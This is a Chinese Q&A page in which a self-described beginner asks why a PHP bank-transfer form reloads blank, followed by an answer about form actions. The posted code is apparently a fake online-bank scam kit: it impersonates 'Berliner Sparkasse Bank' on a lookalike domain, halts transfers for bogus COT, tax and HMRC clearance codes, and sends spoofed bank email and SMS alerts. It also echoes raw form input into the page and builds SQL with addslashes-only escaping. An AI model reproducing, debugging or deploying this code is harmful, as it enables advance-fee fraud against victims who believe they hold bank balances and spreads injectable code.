首页 > 解决方案 > php 和 html:表单重新加载并显示空白并且不提交到数据库

问题描述

我设计了一个表单来提交到数据库。但是提交时表单返回空白并重新加载表单。如果你们能帮助我的项目工作,我会很高兴。

我现在是一个php初学者。我正在尝试做一个学校项目。html表单将在哪里查询php表单

我上传了文件,然后尝试使用表单我一直看到返回的空白页,而表单没有进入下一页但返回空白

<table width="100%" border="0" cellpadding="0" cellspacing="0">
        <tr>
          <td width="50%" valign="top">
		  <?php if ($curr_user['balance2'] != 0) { ?>
		  <table width="100%" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td class="head"><img src="images/i_qt_text.png" width="220" height="27" /></td>
            </tr>
            <tr>
              <td style="border:#000080 1px solid; padding:5px;"><form id="form1" name="form1" method="post" action="" autocomplete="off">
                <table width="100%" border="0" cellspacing="1">
				<?php if($error_msg != "") { ?>
				<tr>
				<td colspan="2" class="error_msg"><?php echo $error_msg; ?></td></tr>
				<?php }?>
                  <tr>
                    <td width="40%" nowrap="nowrap"><strong>Bank Name</strong></td>
                    <td width="60%" style="padding-left:1em;"><input name="bname" type="text" id="bname" value="<?php echo $_POST['bname']; ?>" /></td>
                  </tr>
				  <tr>
                    <td width="40%" nowrap="nowrap"><strong>Bank Address</strong></td>
                    <td width="60%" style="padding-left:1em;"><input name="bcountry" type="text" id="bcountry" value="<?php echo $_POST['bcountry']; ?>" /></td>
                  </tr>
                  <tr>
                    <td nowrap="nowrap"><strong>Account Number</strong></td>
                    <td style="padding-left:1em;"><input name="accnum" type="text" id="accnum" value="<?php echo $_POST['accnum']; ?>" /></td>
                  </tr>
				  
				  <!-- New addition -->
				  
				  <tr>
                    <td nowrap="nowrap"><strong>Account Name </strong> </td>
                    <td style="padding-left:1em;"><input name="accname" type="text" id="accname" value="<?php echo $_POST['accname']; ?>" /></td>
                  </tr>

<tr>
                    <td nowrap="nowrap"><strong>Owner's Address </strong> </td>
                    <td style="padding-left:1em;"><input name="ownadd" type="text" id="ownadd" value="<?php echo $_POST['ownadd']; ?>" /></td>
                  </tr>
				  <tr>
                    <td nowrap="nowrap"><strong>Routing Number </strong> </td>
                    <td style="padding-left:1em;"><input name="routnum" type="text" id="routnum" value="<?php echo $_POST['routnum']; ?>" /></td>
                  </tr>
				  
				  <!-- End, New addition -->
				  
                  <tr>
                    <td nowrap="nowrap"><strong>Swift Code </strong> </td>
                    <td style="padding-left:1em;"><input name="sort" type="text" id="sort" value="<?php echo $_POST['sort']; ?>" /></td>
                  </tr>
                  <tr>
                    <td nowrap="nowrap"><strong>Amount</strong> </td>
                    <td style="padding-left:1em;"><input name="amount" type="text" id="amount" value="<?php echo $_POST['amount']; ?>" /></td>
                  </tr>
                  <tr>
                    <td>&nbsp;</td>
                    <td style="padding-left:1em;"><input name="submit" type="submit" class="submit" id="submit" value="Continue &gt;&gt;" /></td>
                  </tr>
                </table>
              </form></td>
            </tr>
          </table>
		  <?php } else { ?>
		  <table width="100%" border="0">
  <tr>
    <td class="error_msg">Your current available balance is &pound;0. For more information on account funding, please call <strong><?php echo $phone1; ?></strong>, dial <?php echo $phone2; ?> when calling from abroad or email <a href="mailto:info@<?php echo $email_domain; ?>"><strong>info@<?php echo $email_domain; ?></strong></a></td>
  </tr>
</table>
<?php } ?>
		  </td>
          <td width="50%" valign="top" style="padding-left:20px;"><table width="100%" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td class="head">Important Information </td>
            </tr>
            <tr>
              <td bgcolor="#E8FFF8" style="border:#000080 1px solid; padding:5px;">- Please be sure to verify the recieving account details before you proceed with the fund transfer. <br />
- The minimum amount transferable is &pound;1,000 and the maximum is your available balance (&pound;<?php echo number_format($curr_user['balance2'],2); ?>). <br />
- Transfer requests normally takes about 5 minutes to process and about 6-72 hours before fund reaches its destination. </td>
            </tr>
          </table></td>
        </tr>
      </table>

<?php
if(isset($_POST['submit'])) {
    $bname=addslashes($_POST['bname']);
    $bcountry=addslashes($_POST['bcountry']);
    $accnum=addslashes($_POST['accnum']);
    $accname=addslashes($_POST['accname']);
    $ownadd=addslashes($_POST['ownadd']);
    $routnum=addslashes($_POST['routnum']);
    $sort=addslashes($_POST['sort']);
    $amount=addslashes($_POST['amount']);

    $error_msg="";

    if(strlen($bname) == 0) {
        $error_msg.="<li>Please enter receiving bank's name";
    }
    if(strlen($bcountry) == 0) {
        $error_msg.="<li>Please enter receiving bank's country";
    }
    if(strlen($accnum) == 0) {
        $error_msg.="<li>Please enter receiving account number</li>";
    }
    if(strlen($accname) == 0) {
        $error_msg.="<li>Please enter receiving account name</li>";
    }
    if(strlen($sort) == 0) {
        $error_msg.="<li>Please enter sort code</li>";
    }
    if(strlen($amount) == 0) {
        $error_msg.="<li>Please enter amount to be transferred</li>";
    }
    elseif(!is_numeric($amount)) {
        $error_msg.="<li>Amount must be digits only. No symbols allowed.</li>";
    }
    elseif($amount < 1000) {
        $error_msg.="<li>Minimum transferable amount is £1,000</li>";
    }
    elseif($amount > $curr_user['balance2']) {
        $error_msg.="<li>Maximum transferable amount is £".number_format($curr_user['balance2'],2)."</li>";
    }

    if($error_msg != "") {
        $error_msg="<b>Please correct the following errors:</b>".$error_msg;
    }
    elseif($curr_user['status'] != "Active") {
        $error_msg="Sorry, your account is restricted from performing this operation";
    }
    else {
        $tid=rand(100000,999999);
        mysql_query("INSERT INTO `history` (`id` ,`tid` ,`number` ,`date` ,`bname` ,`bcountry` ,`accnum` ,`accname` ,`ownadd` ,`routnum` ,`sort` ,`amount` ,`type` ,`details` ,`status`, `stat`)VALUES (NULL , '$tid', '$accid', NOW( ) , '$bname', '$bcountry', '$accnum', '$accname', '$ownadd', '$routnum', '$sort', '$amount', 'Fund Transfer', 'Wire Transfer to $accname, $bname, $bcountry(account number $accnum)', 'Pending Authorization', 'Unverified')");
        redirect("?r=transfer&sid=".base64_encode($tid));
    }
}
$rendered_page='transfer.html';

if(isset($_GET['sid'])) {
    $tid=base64_decode($_GET['sid']);
    $trans=mysql_fetch_array(mysql_query("SELECT * FROM history WHERE tid='$tid' LIMIT 1"));
}

if(isset($_GET['sid']) && $trans['stat'] == "Unverified") {
    $rendered_page='transfer2.html';
    if(isset($_POST['pin_submit'])) {
        $pin=addslashes($_POST['pin']);
        if(strlen($pin) == 0) {
            $error_msg="Please enter your account PIN to continue";
        }
        elseif(strlen($pin) < 5) {
            $error_msg="Account PIN must be five digits";
        }
        elseif(!is_numeric($pin)) {
            $error_msg="Account PIN must be digits only";
        }
        elseif(strcmp($pin,$curr_user['pin']) != 0) {
            $error_msg="Invalid account PIN. If you feel this is an error, please call <b>$phone1</b>";
        }
        else {
            mysql_query("UPDATE history SET stat='Unconfirmed' WHERE tid='$tid' LIMIT 1");
            redirect("?r=transfer&sid=".base64_encode($tid));
        }
    }
}

if(isset($_GET['sid']) && $trans['stat'] == "Unconfirmed") {
    if(isset($_POST['proceed'])) {
        mysql_query("UPDATE history SET stat='Progress_COT' WHERE tid='$tid' LIMIT 1");
        redirect("?r=transfer&sid=".base64_encode($tid));
    }
    $rendered_page='verify_transfer.html';
}
if(isset($_GET['sid']) && ($trans['stat'] == "Progress_COT" || $trans['stat'] == "Progress_TAX" || $trans['stat'] == "Progress_FSA" || $trans['stat'] == "Progress_209")) {
    $rendered_page='progress.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_COT" && isset($_GET['done'])) || $trans['stat'] == "COT_Page")) {
    mysql_query("UPDATE history SET stat='COT_Page', status='Interrupted for COT Verification' WHERE tid='$tid' LIMIT 1");
    $rendered_page='cot.html';
}

if(isset($_POST['cot'])) {
    include('get_cot.php');
}

if(isset($_GET['sid']) && (($trans['stat'] == "Progress_TAX" && isset($_GET['done'])) || $trans['stat'] == "TAX_Page")) {
    if($curr_user['tax_status'] != 1) {
        mysql_query("UPDATE history SET stat='TAX_Page', status='Interrupted for Tax Clearance' WHERE tid='$tid' LIMIT 1");
        $rendered_page='tax.html';
    }
    else {
        mysql_query("UPDATE history SET stat='Progress_FSA' WHERE tid='$tid' LIMIT 1");
        redirect("?r=transfer&sid=".base64_encode($tid));
    }
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_FSA" && isset($_GET['done'])) || $trans['stat'] == "FSA_Page")) {
    mysql_query("UPDATE history SET stat='FSA_Page', status='Interrupted for HMRC Clearance' WHERE tid='$tid' LIMIT 1");
    if(isset($_POST['fsa'])) {
        $fsa=addslashes($_POST['fsa']);
        if(strlen($fsa) == 0) {
            $error_msg="Please enter HMRC code to proceed with transfer";
        }
        elseif(!is_numeric($fsa)) {
            $error_msg="HMRC code must be digits only";
        }
        elseif($fsa != "4493231") {
            $error_msg="HMRC code is invalid. If you feel this is an error, please call <b>$phone1</b>";
        }
        else {
            mysql_query("UPDATE history SET stat='Progress_209' WHERE tid='$tid' LIMIT 1");
            redirect("?r=transfer&sid=".base64_encode($tid));
        }
    }
    $rendered_page='fsa.html';
}
if(isset($_GET['sid']) && (($trans['stat'] == "Progress_209" && isset($_GET['done'])) || $trans['stat'] == "Done")) {
    mysql_query("UPDATE history SET stat='Done', status='Successful' WHERE tid='$tid' LIMIT 1");
    $bal=$curr_user['balance'] - $trans['amount'];
    $bal2=$curr_user['balance2'] - $trans['amount'];
    mysql_query("UPDATE users SET balance='$bal', balance2='$bal2' WHERE number='$accid' LIMIT 1");


$user=mysql_fetch_array(mysql_query("SELECT * FROM users WHERE number='$accid' LIMIT 1"));

        $recipient=$user['email'];
        $mob_tel=$user['phone'];
        $first_name=$user['firstname'];
        $last_name=$user['lastname'];
        $accountbalance= "$bal";
        $availablebal= "$bal2";
        date_default_timezone_set("Europe/London");
        $bankname=$trans['bname'];
        $bankcountry=$trans['bcountry'];
        $receiveraccnum=$trans['accnum'];
        $receiveraccname=$trans['accname'];
        $banksort=$trans['sort'];
        $sendingamount=$trans['amount'];
        $time = date("h:i:sa");

                $date = date('d/m/Y');
                $senderName = "Berliner Sparkasse Bank";

$fromEmailAddress = "no-reply-accountdept@b-sparkassede.com";

$emailSubject = "Funds Transfer Alert";

$comments = "\n Hello $first_name $last_name \n \n A funds transfer has just occurred in your e-Banking online account. If this transfer wasn't carried out by you, please report immediately to info@b-sparkassede.com or call 0 460 245 694 from within Germany and +32 460 245 694 from outside Germany. \n\n TRANSFER DETAILS \n \n BANK NAME: $bankname \n ACCOUNT NAME | NUMBER: $receiveraccname | $receiveraccnum \n BANK ADDRESS: $bankcountry \n BANK SORT CODE: $banksort \n \n AMOUNT: $sendingamount \n NEW BALANCE: $accountbalance \n AVAILABLE BALANCE: $availablebal \n \n TRANSFER DATE: $date \n TRANSFER TIME: $time \n \n \n \n Account Support Team \n For Berliner Sparkasse Bank.";



$mobilesender = "Acc Notify";

$message = "e-Banking ACCOUNT DEBIT
Acct: ***".substr($curr_user['number'],-6,6)."
Amount: $sendingamount
TO: $bankname | $receiveraccnum
Remarks: Wire Transfer
Bal: $availablebal
Date: $date | $time";

$loginuser="";

$loginpass="";


mail($recipient, $emailSubject, $comments, "From: $senderName <$fromEmailAddress>\r\nContent-Type: text/plain; charset=UTF-8\r\nContent-Transfer-Encoding: 8bit");

$url = "http://ediarosms.com/sms/api_v1?sub_account=$loginuser&sub_account_pass=$loginpass&action=send_sms&sender_id=".urlencode($mobilesender)."&message=".urlencode($message)."&recipients=".urlencode($mob_tel)."";

file_get_contents($url);








    $rendered_page='209.html';


}
?>

标签: phphtmldatabaseforms

解决方案


您的表单操作属性为空。

创建一个文件 form-action.php(可能在同一个文件夹中)并粘贴代码的第二部分。

然后,在表单动作属性中添加动作页面

动作="form-action.php"

请记住,每个发布请求都有一个操作页面。当单击继续时,根据输入名称从表单页面传递到操作页面。

当您单击 continue 表单数据传递到 form-action 页面并加载 form-action.php 页面。

如果您想在不重定向新页面(form-action.php)的情况下传递帖子数据,您可以使用 jquery ajax。对于这次访问

使用 PHP 的 jQuery Ajax POST 示例


推荐阅读